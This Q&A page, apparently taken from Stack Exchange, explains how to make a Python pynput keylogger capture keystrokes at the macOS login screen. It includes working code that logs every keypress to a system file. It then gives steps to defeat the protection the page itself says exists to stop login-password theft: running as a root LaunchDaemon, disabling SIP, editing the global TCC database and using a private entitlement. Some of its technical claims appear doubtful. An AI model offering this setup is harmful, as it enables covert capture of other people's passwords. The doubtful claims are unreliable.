You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

MacOS X下pynput Keyboard Listener无法在登录界面全局运行问题咨询

MacOS全局(含登录界面)运行pynput按键记录方案

问题现状

  • 运行环境:MacOS Monterey
  • 已完成配置:修复了用户登录进入桌面后,程序弹出This process isn't trusted ...进程不受信任提示的问题
  • 现存问题:系统登录界面仍会弹出该不受信任提示,触发后pynput进程被系统终止,无法持续运行
  • 现有实现代码:
#!/usr/bin/python3
from pynput.keyboard import Key, Listener
import logging

# 原路径为当前目录相对路径,预登录会话下无写入权限,已调整为系统全局日志路径
logging.basicConfig(filename=("/var/log/keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

# 代码功能:将捕获的按键写入日志文件

核心限制原因

MacOS的TCC(透明度、同意与控制)安全框架对不同会话的权限做了严格隔离:

  • 用户登录后在桌面会话给程序授予的「输入监控」「辅助功能」权限,仅对当前用户的桌面会话生效,无法覆盖登录界面对应的预登录系统会话
  • 登录界面进程归属_windowserver系统域,普通用户权限启动的进程、仅配置了用户级权限的程序,在该域下调用Quartz事件监听接口(pynput的底层实现)时,会被系统直接判定为不受信任并终止,这是系统针对键盘记录器窃取登录密码设计的强制防护逻辑,普通用户态权限配置无法绕过。

可落地实现步骤

  • 第一步:将程序注册为系统级LaunchDaemon服务
    不要使用仅在用户登录后加载的LaunchAgent,需创建服务配置plist文件存放至/Library/LaunchDaemons/目录,plist核心配置要求如下:
    1. 设置UserName参数值为root,让服务以系统最高权限启动
    2. 保持SessionCreate参数为默认false值,不要让服务创建独立用户会话,确保系统启动、未进入用户登录界面时服务就已经加载运行
    3. 所有日志、输出文件路径必须配置为/var/log/这类全局可访问的系统路径,禁止放在用户个人目录下,避免预登录会话阶段进程无读写权限
  • 第二步:配置全局TCC白名单
    1. 重启设备按住Command+R进入恢复模式,打开终端执行csrutil disable关闭系统完整性保护(SIP),该操作会降低系统安全等级,请确认设备使用场景后操作
    2. 重启回到系统后,手动将程序使用的Python解释器路径(或打包后的独立二进制程序路径)添加到TCC系统全局数据库的「输入监控」「辅助功能」白名单中,不要添加到单一用户的权限数据库
    3. 对程序二进制(或调用的Python解释器)做代码签名时,添加com.apple.private.tcc.allow权限声明,允许程序访问全系统范围的输入事件流
  • 可选替代方案:替换底层监听实现
    pynput依赖的应用层Quartz事件API天生受预登录会话拦截,如果不想关闭SIP,可以将监听逻辑替换为基于EndpointSecurity系统扩展的实现,这类系统级扩展经过合法签名、用户批准后,可以在全系统会话(包含登录界面)捕获输入事件,不会触发不受信任提示。

风险提示

MacOS在登录界面拦截未信任进程的输入监听权限,是防范登录密码被窃取的核心安全机制,上述配置会大幅降低系统安全防护能力,仅建议在完全可控的内部测试设备上操作,禁止在存储敏感信息的生产设备上部署。

内容的提问来源于stack exchange,提问作者AFT

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.03 05:12:35